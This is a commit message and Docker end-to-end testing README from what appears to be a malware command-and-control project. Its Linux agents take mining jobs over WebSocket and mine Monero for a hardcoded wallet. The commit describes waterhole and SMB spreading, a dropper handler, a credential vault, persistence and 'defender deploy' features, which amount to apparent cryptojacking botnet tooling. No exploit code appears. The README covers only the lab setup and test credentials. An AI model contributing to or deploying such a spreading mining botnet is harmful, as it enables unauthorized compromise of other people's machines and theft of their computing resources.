feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

docker/README.md

@@ -0,0 +1,76 @@
+# Docker Linux E2E
+
+Isolated bridge network for validating the **Linux agent** against a real control server without installing the agent on the host.
+
+## Topology
+
+```
+┌──────────────── docker network: e2e-internal (no host egress) ────────────────┐
+│  agent container ──WS──► server container :8989                              │
+└──────────────────────────────────────────────────────────────────────────────┘
+                                      │
+                              server also on `default`
+                                      ▼
+                            Stratum pool (internet)
+```
+
+- **Agent** — only on `e2e-internal` (`internal: true`). Cannot reach the internet; mines via C2 jobs from the server.
+- **Server** — on `e2e-internal` + default bridge so it can reach upstream Stratum and expose `18989` to the host dashboard.
+
+## Prerequisites
+
+- Docker Engine 24+ with `docker compose`
+- ~2 GB free disk for golang build images
+
+RandomX uses the pure-Go `go-randomx` module — **no CGO or librandomx** required in the agent image.
+
+## Quick start
+
+From repo root:
+
+```bash
+docker compose -f docker/docker-compose.yml up --build
+```
+
+Watch server logs for `[WS] Agent auth` and `[Pool]` job lines. Watch agent logs:
+
+```bash
+docker compose -f docker/docker-compose.yml logs agent
+```
+
+## Verify hashrate
+
+1. **Dashboard** — open `http://127.0.0.1:18989`, login `testuser` / `testpass`, check Fleet Roster for `docker-e2e-linux`.
+2. **Stats fields** — node card should show `hashrate_15s`, `hashrate_1m`, `hashrate_15m`, and share counters after ~30s.
+3. **Server logs** — `docker compose -f docker/docker-compose.yml logs -f server` — look for agent stats WS messages and share submissions if enabled.
+4. **Agent log** — `docker compose -f docker/docker-compose.yml exec agent cat /tmp/miner.log` (if present).
+
+## Teardown
+
+```bash
+docker compose -f docker/docker-compose.yml down --rmi local -v
+```
+
+## Fixed test credentials
+
+| Item | Value |
+|------|-------|
+| Fleet secret | `e2e-docker-fleet-secret-fixed001` |
+| Dashboard user | `testuser` / `testpass` |
+| Host port | `18989` → server `8989` |
+| Test XMR wallet | `85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm` |
+
+The wallet is baked into `docker/data/config.json` (server pool login) and `docker/agent-builtin.go` (agent fallback). It is a **public test address** for E2E only — not for production mining.
+
+## Troubleshooting
+
+| Symptom | Check |
+|---------|-------|
+| Agent exits immediately | `logs agent` — wallet/server URL baked in `docker/agent-builtin.go` |
+| Auth rejected | `fleet_secret` must match in `docker/data/config.json` and `docker/agent-builtin.go` |
+| Hashrate 0 forever | Server pool connectivity — server needs default-network egress |
+| Idle mode never mines | Use `mining_mode: always` in docker builtin (default here) |
+
+## Host server alternative
+
+To point the agent container at a server on the host instead of the `server` service, change `ServerURL` in `docker/agent-builtin.go` to `http://host.docker.internal:8989` (Docker Desktop) and run only the agent service.